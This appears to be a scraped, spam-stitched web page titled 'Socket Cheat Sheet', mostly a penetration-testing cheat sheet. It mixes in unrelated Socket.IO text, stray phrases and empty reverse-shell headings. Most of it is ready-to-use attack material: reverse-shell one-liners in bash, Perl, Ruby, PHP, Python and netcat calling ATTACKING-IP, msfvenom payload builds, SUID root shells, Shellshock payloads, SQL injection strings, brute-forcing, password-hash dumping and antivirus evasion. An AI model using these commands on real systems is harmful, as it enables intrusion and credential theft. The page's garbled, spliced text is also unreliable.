Socket Cheat Sheet

admin



General Enumeration:

  • nmap -vv -Pn -A -sC -sS -T 4 -p- 10.0.0.1
  • nmap -v -sS -A -T4 x.x.x.x // Verbose, SYN Stealth, Version info, and scripts against services.
  • nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X // Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover
  • netdiscover -r 192.168.1.0/24

FTP Enumeration (21):

Socket.IO 是一个可以在浏览器与服务器之间实现实时、双向、基于事件的通信的工具库。 Socket.IO 能够在任何平台.

  • Meterpreter Cheat Sheet upload file c: windows // Meterpreter upload file to Windows target download c: windows repair sam /tmp // Meterpreter download file from Windows target.
  • Offensive security expert and founder of 0xsp security research and development (SRD), passionate about hacking and breaking stuff, coder and maintainer of 0xsp-mongoose RED, and many other open-source projects.
  • Display socket statistics. The below options can be combined. Show all sockets (listening and non-listening) ss -e. Show detailed socket information. Enter your email address below to download this Linux command line cheat sheet in an easy-to-read and ready-to-print format.
  • nmap –script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 10.0.0.1

SSH (22):

  • nc INSERTIPADDRESS 22

SMTP Enumeration (25):

  • nmap –script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.0.0.1
  • nc -nvv INSERTIPADDRESS 25
  • telnet INSERTIPADDRESS 25

Finger Enumeration (79):

Download script and run it with a wordlist: http://pentestmonkey.net/tools/user-enumeration/finger-user-enum

Web Enumeration (80/443):

  • dirbuster (GUI)
  • nikto –h 10.0.0.1

Pop3 (110):

Socket server cheat sheet
  • telnet INSERTIPADDRESS 110

USER anounys@INSERTIPADDRESS

PASS admin

or:

USER anounys

PASS admin

RPCBind (111):

  • rpcinfo –p x.x.x.x

SMBRPC Enumeration (139/445):

  • enum4linux –a 10.0.0.1
  • nbtscan x.x.x.x // Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
  • py 192.168.XXX.XXX 500 50000 dict.txt
  • python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX
  • nmap IPADDR --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse
  • smbclient -L INSERTIPADDRESS
  • smbclient //INSERTIPADDRESS/tmp
  • smbclient INSERTIPADDRESS ipc$ -U john

SNMP Enumeration (161):

  • snmpwalk -c public -v1 10.0.0.0
  • snmpcheck -t 192.168.1.X -c public
  • onesixtyone -c names -i hosts
  • python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX
  • nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
  • snmpenum -t 192.168.1.X

Oracle (1521):

  • tnscmd10g version -h INSERTIPADDRESS
  • tnscmd10g status -h INSERTIPADDRESS

Mysql Enumeration (3306):

  • nmap -sV -Pn -vv 10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122

DNS Zone Transfers:

  • nslookup -> set type=any -> ls -d xxx.com
  • dig axfr xxxx.com @ns1.xxx.com
  • dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml // Recon

Mounting File Share

  • showmount -e IPADDR
  • mount 192.168.1.1:/vol/share /mnt/nfs -nolock // mounts the share to /mnt/nfs without locking it
  • mount -t cifs -o username=user,password=pass,domain=xxx //192.168.1.X/share-name /mnt/cifs// Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
  • net use Z: win-servershare password /user:domainjanedoe /savecred /p:no // Mount a Windows share on Windows from the command line
  • apt-get install smb4k –y // Install smb4k on Kali, useful Linux GUI for browsing SMB shares

Fingerprinting: Basic versioning / finger printing via displayed banner

  • nc -v 192.168.1.1 25
  • telnet 192.168.1.1 25

Exploit Research

  • searchsploit windows 2003 | grep -i local // Search exploit-db for exploit, in this example windows 2003 + local esc

Compiling Exploits

  • gcc -o exploit exploit.c // Compile C code, add –m32 after ‘gcc’ for compiling 32 bit code on 64 bit Linux
  • i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe // Compile windows .exe on Linux

Packet Inspection:

  • tcpdump tcp port 80 -w output.pcap -i eth0 // tcpdump for port 80 on interface eth0, outputs to output.pcap

Use hash-identifier to determine the hash type.

Paste the entire /etc/shadow file in a test file and run john with the text file after john.

john hashes.txt

  • hashcat -m 500 -a 0 -o output.txt –remove hashes.txt /usr/share/wordlists/rockyou.txt

Bruteforcing:

  • hydra 10.0.0.1 http-post-form “/admin.php:target=auth&mode=login&user=^USER^&password=^PASS^:invalid” -P /usr/share/wordlists/rockyou.txt -l admin
  • hydra -l admin -P /usr/share/wordlists/rockyou.txt -o results.txt IPADDR PROTOCOL
  • hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp –V // Hydra SMTP Brute force

Shells & Reverse Shells

SUID C Shells

  • bin/bash:

int main(void){

setresuid(0, 0, 0);

system(“/bin/bash”);

} Ultimate car dock full.

  • bin/sh:

int main(void){

setresuid(0, 0, 0);

system(“/bin/sh”);

}

  • gcc -o suid suid.c

TTY Shell:

  • python -c 'import pty;pty.spawn('/bin/bash')'
  • echo os.system('/bin/bash')
  • /bin/sh –i
  • execute('/bin/sh') // LUA
  • !sh // NMAP
  • :!bash // Vi

Spawn Ruby Shell

  • exec '/bin/sh' // TTY
  • ruby -rsocket -e'f=TCPSocket.open('ATTACKING-IP',80).to_i;exec sprintf('/bin/sh -i <&%d >&%d

Netcat

  • nc -e /bin/sh ATTACKING-IP 80
  • /bin/sh | nc ATTACKING-IP 80
  • rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Telnet Reverse Shell

  • rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
  • telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

PHP

  • php -r '$sock=fsockopen('ATTACKING-IP',80);exec('/bin/sh -i <&3 >&3 2>&3');'

(Assumes TCP uses file descriptor 3. If it doesn’t work, try 4,5, or 6)

Bash

  • exec /bin/bash 0&0 2>&0
  • 0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
  • exec 5<>/dev/tcp/ATTACKING-IP/80 cat <&5 | while read line; do $line 2>&5 >&5; done

# or: while read line 0<&5; do $line 2>&5 >&5; done

  • bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

Perl

  • exec '/bin/sh';
  • perl —e 'exec '/bin/sh';'
  • perl -e 'use Socket;$i='ATTACKING-IP';$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};'
  • perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,'ATTACKING-IP:80');STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' // Windows
  • perl -e 'use Socket;$i='ATTACKING-IP';$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};' // Windows

Windows reverse meterpreter payload

  • set payload windows/meterpreter/reverse_tcp // Windows reverse tcp payload

Windows VNC Meterpreter payload

  • set payload windows/vncinject/reverse_tcp // Meterpreter Windows VNC Payload
  • set ViewOnly false

Linux Reverse Meterpreter payload

Template
  • set payload linux/meterpreter/reverse_tcp // Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

  • upload file c:windows // Meterpreter upload file to Windows target
  • download c:windowsrepairsam /tmp // Meterpreter download file from Windows target
  • download c:windowsrepairsam /tmp // Meterpreter download file from Windows target
  • execute -f c:windowstempexploit.exe // Meterpreter run .exe on target – handy for executing uploaded exploits
  • execute -f cmd -c // Creates new channel with cmd shell
  • ps // Meterpreter show processes
  • shell // Meterpreter get shell on the target
  • getsystem // Meterpreter attempts priviledge escalation the target
  • hashdump // Meterpreter attempts to dump the hashes on the target
  • portfwd add –l 3389 –p 3389 –r target // Meterpreter create port forward to target machine
  • portfwd delete –l 3389 –p 3389 –r target // Meterpreter delete port forward
  • use exploit/windows/local/bypassuac // Bypass UAC on Windows 7 + Set target + arch, x86/64
  • use auxiliary/scanner/http/dir_scanner // Metasploit HTTP directory scanner
  • use auxiliary/scanner/http/jboss_vulnscan // Metasploit JBOSS vulnerability scanner
  • use auxiliary/scanner/mssql/mssql_login // Metasploit MSSQL Credential Scanner
  • use auxiliary/scanner/mysql/mysql_version // Metasploit MSSQL Version Scanner
  • use auxiliary/scanner/oracle/oracle_login // Metasploit Oracle Login Module
  • use exploit/multi/script/web_delivery // Metasploit powershell payload delivery module
  • post/windows/manage/powershell/exec_powershell // Metasploit upload and run powershell script through a session
  • use exploit/multi/http/jboss_maindeployer // Metasploit JBOSS deploy
  • use exploit/windows/mssql/mssql_payload // Metasploit MSSQL payload
  • run post/windows/gather/win_privs // Metasploit show privileges of current user
  • use post/windows/gather/credentials/gpp // Metasploit grab GPP saved passwords
  • load mimikatz -> wdigest // Metasplit load Mimikatz
  • run post/windows/gather/local_admin_search_enum // Idenitfy other machines that the supplied domain user has administrative access to
  • set AUTORUNSCRIPT post/windows/manage/migrate

Meterpreter Payloads

  • msfvenom –l // List options

Binaries

  • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
  • msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

Web Payloads

  • msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.php // PHP
  • set payload php/meterpreter/reverse_tcp //Listener
  • cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php // PHP
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp // ASP
  • msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp // JSP
  • msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war // WAR

Scripting Payloads

Socket
  • msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py // Python
  • msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh // Bash
  • msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl // Perl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

  • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f
  • msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

  • exploit/multi/handler
  • set PAYLOAD
  • set LHOST
  • set LPORT
  • set ExitOnSession false
  • exploit -j -z

An example is: msfvenom exploit/multi/handler -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f > exploit.extension

Execution Bypass

  • Set-ExecutionPolicy Unrestricted
  • iex(new-object system.net.webclient).downloadstring(“file:///C:examplefile.ps1”)

Powershell.exe blocked

  • Use ‘not powershell’ https://github.com/Ben0xA/nps

PS1 File blocked

  • iex(new-object system.net.webclient).downloadstring(“file:///C:examplefile.doc”)
    • Invoke-examplefile #This allows execution of any file extension

Linux:

Windows:

File Traverse:

Test HTTP options using curl:

Upload file using CURL to website with PUT option available

  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1—

SQLMap

  • sqlmap -u http://xxx.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3 // Automated sqlmap scan
  • sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3
  • sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read='/var/www/xxx.php' // Targeted sqlmap scan
  • sqlmap -u 'http://xxx.com/xxx.php?id=1' --dbms=mysql --tech=U --random-agent --dump // Scan url for union + error based injection with mysql backend and use a random user agent + database dump
  • sqlmap -o -u 'http://xxx.com/form/' –forms // sqlmap check form for injection
  • sqlmap -o -u 'http://xxx/vuln-form' --forms -D database-name -T users –dump // sqlmap dump and crack hashes for table users on database-name.
  • sqlmap --flush session
    • Flushes the session
  • sqlmap -p user --technique=B
    • Attempts to exploit the “user” field using boolean technique.

Tunneling:

  • sshuttle -r root@10.0.0.1 10.10.10.0/24

sshuttle is an awesome tunneling tool that does all the hard work for you. It gets rid of the need for proxy chains. What this command does is tunnels traffic through 10.0.0.1 and makes a route for all traffic destined for 10.10.10.0/24 through your sshuttle tunnel.

AV Bypass:

  • root@kali:~/Hyperion-1.0# wine hyperion.exe ./backdoor.exe ./backdoor_mutation.exe (This is a general example of how to evade AV)

Web hosts

  • python -m SimpleHTTPServer 80 // Basic HTTP Server
  • service apache2 start // Starts Apache web server. Place files in /var/www/html to be able to ‘wget’ them.

Php Meterpreter Shell (Remove Guard bit)

  • msfvenom -p php/meterpreter/reverse_tcp LHOST=????????? LPORT=6000 R > phpmeterpreter.php

Netcat

  • Listener: nc -lp PORT
  • Target: ; nc -e /bin/bash listeneripaddress listenerport | or ncat -v -l -p 7777 -e /bin/bash
  • Host: cat happy.txt | ncat -v -l -p 5555 Target: ncat localhost 5555 > happy_copy.txt // download file via ncat

Reverse shell using interpreters (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)

  • e: python -c python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.1',1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'
  • python -c 'exec('import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())')'

Shellshock

  • curl -x TARGETADDRESS -H 'User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1' TARGETADDRESS/cgi-bin/status
  • curl -x 192.168.28.167:PORT -H 'User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.28.169/1234 0>&1' 192.168.28.167/cgi-bin/status
  • ssh username@IPADDRESS '() { :;}; /bin/bash'//Shellshock over SSH

Windows Privilege Escalation

SQL & Apache Log paths

Recon

Cheat Sheets (Includes scripts):

Meterpreter Stuff

Proxy Chaining

apt-get install sshuttle

Huge collection of common commands and scripts as well as general pentest info

Scripts

Pentester Bookmarks, huge collection of blogs, forums, and resources.

What is a Reverse Shell?

A reverse shell is a kind of shell in which the target machine communicates back to the attacking machine. The attacking machine has an open listener port on which it receives the connection, by which code execution or command execution can be achieved.

A reverse shell or a connect-back shell is the only way to gain remote shell access across a NAT or firewall. When an attacker wants a remote shell, a machine controlled by him will connect to a remote host and requests for a shell session, and this is called a bind shell.

But what if the remote machine is not directly accessible. It can be many reasons for that. Let’s assume that the remote host has not a public IP address or it is protected by any type of firewall that blocks incoming connection using a firewall. In that situation, a reverse shell can be used, where the target machine initiates or creates an outgoing connection to a listening attacker host and sends the shell session to the attacker machine.

Here I include a reverse shell cheat sheet that contains many reverse shells for different methods or different programming languages like, PHP reverse shell, Netcat reverse shell, Python reverse shell, etc. This will help to run an appropriate payload on target from detected available software or binaries.

Here we used follwing IP address and Port for demo perpose,

  • IP address: 192.168.1.2
  • Port: 4545

Bash Reverse shell

Python Reverse Shell

Netcat Reverse Shell

PHP Reverse Shell

Perl Reverse Shell

Ruby Reverse Shell

Java Reverse Shell

Java Code:

Power-Shell Reverse Shell

AWK Reverse Shell

Socat Reverse Shell

Socket Cheat Sheet

On Attacker Machine(Listener):

Socket Io Client Cheat Sheet

On Vitim Machine:

xTerm Reverse Shell

NODE.JS Reverse Shell

TELNET Reverse Shell

1)

Socket Io Cheat Sheet

2)